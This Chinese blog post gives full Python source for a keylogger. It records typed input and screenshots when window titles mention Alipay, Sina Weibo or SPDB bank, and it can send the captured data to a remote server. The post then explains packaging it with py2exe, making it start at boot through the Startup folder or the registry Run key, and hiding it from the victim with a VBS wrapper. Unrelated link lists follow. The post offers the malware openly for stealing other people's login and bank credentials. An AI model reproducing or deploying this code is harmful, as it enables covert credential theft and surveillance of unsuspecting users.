python hehe

本文以一段简单的监听鼠标、键盘事件的程序,实现获取用户的输入(比如登录某些网站的账号、密码)的功能。经测试,对于一台“裸奔”的电脑,完全能获取到用户输入的任何信息;但是如果安装了杀毒软件,就够呛了。具体实现方法如下:
一、代码部分:获取用户输入信息,并与截图一起保存到XX目录下
code:
- # -*- coding: utf-8 -*- #
- import pythoncom
- import pyHook
- import time
- import socket
- from PIL import ImageGrab
- #
- #如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器
- #
- def send_msg_to_server(msg):
- host=""
- port=1234
- buf_size=1024
- addr=(host,port)
- if len(msg)>0:
- tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- tcp_client_sock.connect(addr)
- info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'
- tcp_client_sock.sendall(info+msg)
- tcp_client_sock.close()
- #
- #也可以将获取到的信息保存到本地文件下
- #
- def write_msg_to_txt(msg):
- f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')
- f.write(msg+'\r\n')
- f.close()
- def onMouseEvent(event):
- # 监听鼠标事件
- global MSG
- if len(MSG)!=0:
- #send_msg_to_server(MSG)
- write_msg_to_txt(MSG)
- MSG=''
- pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
- #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器)
- pic = ImageGrab.grab()
- pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)
- return True
- def onKeyboardEvent(event):
- #监听键盘事件
- global MSG
- title= event.WindowName.decode('GBK')
- #通过网站title,判断当前网站是否是“监听目标”
- if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1:
- #Ascii: 8-Backspace , 9-Tab ,13-Enter
- if (127 >= event.Ascii > 31) or (event.Ascii == 8):
- MSG += chr(event.Ascii)
- if (event.Ascii == 9) or (event.Ascii == 13):
- #send_msg_to_remote(MSG)
- write_msg_to_txt(MSG)
- MSG = ''
- #屏幕抓图实现
- pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
- pic = ImageGrab.grab()
- #保存成为以日期命名的图片
- pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)
- return True
- if __name__ == "__main__":
- MSG = ''
- #创建hook句柄
- hm = pyHook.HookManager()
- #监控鼠标
- hm.SubscribeMouseLeftDown(onMouseEvent)
- hm.HookMouse()
- #监控键盘
- hm.KeyDown = onKeyboardEvent
- hm.HookKeyboard()
- #循环获取消息
- pythoncom.PumpMessages()
二、用py2exe将脚本打包:
新建一个py文件setup.py,内容如下:
- from distutils.core import setup
- import py2exe
- setup(console=["monitor.py"])
- #setup(windows=["monitor.py"])
命令行执行以下命令:
|
1
|
pythonsetup.pypy2exe |
三、将该程序设置为开机自动启动:
步骤①:
将需要开机启动的文件(创建一个快捷方式,然后)放到“开始/所有程序/启动”目录下
步骤②:
修改注册表:命令行— regedit ,然后到以下路径下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
新建一个“字符串值”,然后编辑:设置exe文件所在路径
D:\workspace\mytest\pyhook\dist\monitor.exe
(以上两种方式启动monitor.exe的话,会弹出一个命令框,显示监听日志信息,这样的话,被监听的人一下就能发现了,可以试试下面这个方式)
步骤③:
新建一个 .vbs文件,内容如下:
|
1
2
|
setwscriptObj=CreateObject("Wscript.Shell")wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0 |
双击运行该vbs文件,则monitor.exe就在后台启动了(不会弹出一个大黑框)。
然后参考法①、② 把该vbs设置成开机启动即可。
python hehe的更多相关文章
- python学习笔记(基础三:if else流程判断、while循环、for循环)
if else流程判断 getpass在pycharm中无法使用,在命令行窗口中进入python环境可以使用. import getpassusername = input("usernam ...
- python学习2
1.input()返回的是字符串, 如果想读入一个数字,应该用int()转化 2.循环的写法与C不同的地方就是,for while等写完之后在那一行后面要加上一个冒号,这是比较特殊的地方. 还有就是r ...
- python supervisor使用
Supervisor 是基于 Python 的进程管理工具,只能运行在 Unix-Like 的系统上,也就是无法运行在 Windows 上.Supervisor 官方版目前只能运行在 Python 2 ...
- Python黑帽编程2.7 异常处理
Python黑帽编程2.7 异常处理 异常是个很宽泛的概念,如果程序没有按预想的执行,都可以说是异常了.遇到一些特殊情况没处理会引发异常,比如读文件的时候文件不存在,网络连接超时.程序本身的错误也可以 ...
- Python进阶【第一篇】socket
1.socket模块 要使用socket.socket()函数来创建套接字.其语法如下: socket.socket(socket_family,socket_type,protocol=0) soc ...
- Python Day4
一.装饰器 装饰器类似于一种动态增加函数功能的方法,使用@语法,放在它要装饰的函数定义处(函数定义的上面),实现为已经存在的函数增加新的功能. def outer(func): def innter( ...
- Python之路-python(mysql介绍和安装、pymysql、ORM sqlachemy)
本节内容 1.数据库介绍 2.mysql管理 3.mysql数据类型 4.常用mysql命令 创建数据库 外键 增删改查表 5.事务 6.索引 7.python 操作mysql 8.ORM sqlac ...
- python 学习笔记 redis操作
Redis redis是一个key-value存储系统.和Memcached类似,它支持存储的value类型相对更多,包括string(字符串).list(链表).set(集合).zset(sorte ...
- study notes for python
some useful materials Python完全新手教程 http://www.cnblogs.com/taowen/articles/11239.aspx (from taowen, B ...
随机推荐
- UVM基础之------uvm phases机制
代码的书写顺序会影响代码的实现,在不同的时间做不同的事情,这是UVM phase的设计哲学,UVM phase提供了一个通用的TB phase 解决方案.支持显示的隐式的同步方案,运行时刻的线程控制和 ...
- [Windows Server 2008] Windows防火墙设置
★ 欢迎来到[护卫神·V课堂],网站地址:http://v.huweishen.com ★ 护卫神·V课堂 是护卫神旗下专业提供服务器教学视频的网站,每周更新视频. ★ 本节我们将带领大家:如何开启W ...
- 00-IT人士必去的10个网站
IT人士必去的10个网站 1.Chinaunix 网址:http://www.chinaunix.net/ 简介:中国最大的linux/unix技术社区. 2.ITPub 网址:http://www. ...
- mac系统,鼠标移动太慢
to check your speed: defaults read -g com.apple.mouse.scaling to set your speed defaults write -g co ...
- CAD梦想看图6.0安卓版详情介绍
下载安装 MxCAD6.0(看图版).2018.10.22更新,扫描下面二维码,安装CAD梦想看图: 下载地址: http://www.mxdraw.com/help_8_20097.html 软 ...
- 12Java Bean
Java Bean JavaBean是一种组件体系结构.实际上,JavaBean就是一个Java类,这个类可以重复地使用.我们可以把JavaBean看成是一个黑盒子,即只需要知道其功能而不必管其内部 ...
- Python【每日一问】34
问: 基础题: 定义函数实现以下功能:求出 0-n 所能组成的奇数个数,位数最多 n+1 (0<n<10),比如键盘输入n=7,求出0-7所能组成的奇数个数 提高题: 有如下分数序列: 2 ...
- 在做导入一个excel文件的时候,数据有空值的时候
StringUtil.isNotEmpty(i.getFname()),用这个方法可以解决 java string 去除前后两端的空格和空字符使用.trim()
- Python学习-比较运算符和逻辑运算符
比较运算符 == 等于 - 比较对象是否相等 print(3 == 4); //False != 不等于 - 比较两个对象是否不相等 print(3 != 4); // True <> ...
- 框架之---Flask
Flask是一个轻量级的WEB框架,它和Django相比,就是一个胖子和一个骨架的区别. Flask是一个py文件就可以run的web框架,但是就因为是py文件就能run,所有,啥都没有,等把Flas ...